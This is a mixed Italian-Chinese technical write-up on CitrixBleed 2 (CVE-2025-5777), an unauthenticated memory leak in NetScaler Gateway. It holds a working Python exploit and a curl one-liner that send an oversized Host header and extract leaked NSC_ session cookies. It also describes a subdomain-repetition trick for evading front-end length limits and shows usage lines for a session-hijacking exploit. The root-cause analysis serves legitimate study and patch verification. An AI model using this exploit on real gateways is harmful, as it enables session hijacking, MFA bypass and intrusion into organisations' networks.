CitrixBleed 2 (CVE-2025-5777) Analisi Definitiva

Un Out-of-Bounds Memory Read in NetScaler ADC / Gateway — un manuale completo dalla causa scatenante alle esercitazioni offensive e difensive

uso del PoC: python3 poc.py https://gateway.example.com

uso dell'exploit: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Indice

0x00  引言 / 速览
0x01  背景：NetScaler 架构与 CitrixBleed 1 回顾
0x02  漏洞描述（影响版本、CVSS、利用后果）
0x03  触发机理深剖（源码级分析 & 调试截图）
0x04  最小 PoC + 高级扫描脚本
0x05  红队视角：完整攻击链（发现 → 泄露 → 会话劫持 → 内网横向）
0x06  蓝队视角：检测、取证与补丁验证
0x07  防御加固：补丁、WAF、配置、资产治理
0x08  学习 / 复习路线图与实战实验
附录 A  Sigma / Suricata / Nginx-Lua 规则
附录 B  补丁/利用时间轴 & IoC 快照
参考资料

0x00 Introduzione / Panoramica rapida

CVE-2025-5777 (nota anche come CitrixBleed 2) è un Out-of-Bounds Memory Read in Citrix NetScaler ADC / Gateway.
L'attaccante non richiede autenticazione: basta inviare una richiesta GET con un header Host eccessivamente lungo per far "spruzzare" al dispositivo blocchi di memoria casuale insieme alla risposta HTTP.
I dati esfiltrati contengono spesso materiale critico come cookie NSC_USER / NSC_TASS, SAML StateContext, token MFA, direttamente riutilizzabile per il session hijacking e il bypass dell'MFA ([arcticwolf.com][1], [tenable.com][2]).
Punteggio base CVSS v4: 9.3 (Critical) ([netscaler.com][3]).
Divulgata il 2025-06-17; il 2025-06-23 Citrix ha ampliato l'ambito di impatto e rilasciato le patch; entro una settimana vendor di sicurezza come ReliaQuest e Bishop Fox hanno osservato un'impennata dello sfruttamento in the wild ([reliaquest.com][4], [bishopfox.com][5]).

0x01 Contesto

1.1 Cenni sul flusso di lavoro di NetScaler

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler adotta un design basato su multi-processo + IPC interno. WebProc gestisce la maggior parte delle richieste HTTP nel percorso AAA / Gateway, incluse /nf/auth/*, /oauth/*, ecc. Nel codice C fa ampio uso di snprintf() / memcpy() per comporre ogni frammento XML/HTML.

1.2 Riepilogo di CitrixBleed 1 (CVE-2023-4966)

Nel 2023, la vulnerabilità analoga si trovava nell'endpoint di discovery OAuth /oauth/idp/.well-known/openid-configuration.
Anche in quel caso la sostanza era usare il valore di ritorno di snprintf come parametro len per la successiva send() → memory out-of-bounds echo.
CitrixBleed 2 dimostra che lo stesso tipo di difetto di codifica sicura è ancora annidato in altri percorsi.

Lezione appresa: se le patch di sicurezza mirano solo al "punto di impatto" anziché al "paradigma di programmazione", lasciano spazio a "riproduzioni con template".

0x02 Descrizione della vulnerabilità

Campo	Contenuto
CVE	CVE-2025-5777
Alias	CitrixBleed 2
Tipo di vulnerabilità	Out-of-Bounds Read / Information Disclosure
CVSS v4 Base	9.3 (Crit.) ([netscaler.com][3])
Versioni interessate	< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3])
Condizioni di sfruttamento	NetScaler configurato come Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) o virtual server AAA ([arcticwolf.com][1])
Conseguenze dello sfruttamento	Perdita di memoria → token di sessione → bypass dell'autenticazione / bypass dell'MFA → movimenti laterali

0x03 Analisi approfondita del meccanismo di innesco

Questa sezione si basa sulla decompilazione + debug con gdb del firmware 13.1-55.18, integrata con blog pubblici ([bishopfox.com][5]).

3.1 Entry point della vulnerabilità

URI: /nf/auth/startwebview.do
Parametro controllabile: header HTTP Host
Questo endpoint genera l'XML di reindirizzamento per Citrix Workspace WebView; esempio di risposta normale:

<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Catena di funzioni critiche

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 ＞ 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Punto del bug: snprintf restituisce la "lunghezza che avrebbe dovuto scrivere" e non quella effettivamente scritta; se l'Host fornito dall'utente supera 0x1800 - lunghezza del segmento costante, allora length > sizeof(buf).

3.3 Rappresentazione a runtime

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

Dimostrazione con breakpoint GDB (registri chiave):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

I risultati di read() mostrano che i 1 600 byte successivi provengono da memoria non inizializzata, dove sono visibili buffer di cookie di altre sessioni SSL.

3.4 Tipologie di dati esfiltrati

Categoria	Esempio (depurato)
Session Cookie	`Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...`
MFA/OTP Token	`radius_state=0e2a9c6d1553...`
Altri body di richiesta	`<username>audituser</username><password>***</password>`

0x04 Implementazione del PoC

4.1 Python in un singolo file (15 righe)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")

Se dopo l'esecuzione si ottiene 200 + diversi KB, il sistema è da considerare vulnerabile.
Cercare ulteriormente in leak.bin parole chiave come Cookie=, <AuthenticateContext>.

4.2 One-liner Bash / curl

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Bypass: alcuni dispositivi applicano una limitazione della lunghezza dell'Host sul F5 / Nginx front-end; si può aggirare concatenando più sottodomini, ad esempio foo.foo.foo.…foo.example.com (ripetendo foo 3000 volte).

Più Popolari

CitrixBleed-2-CVE-2025-5777-PoC-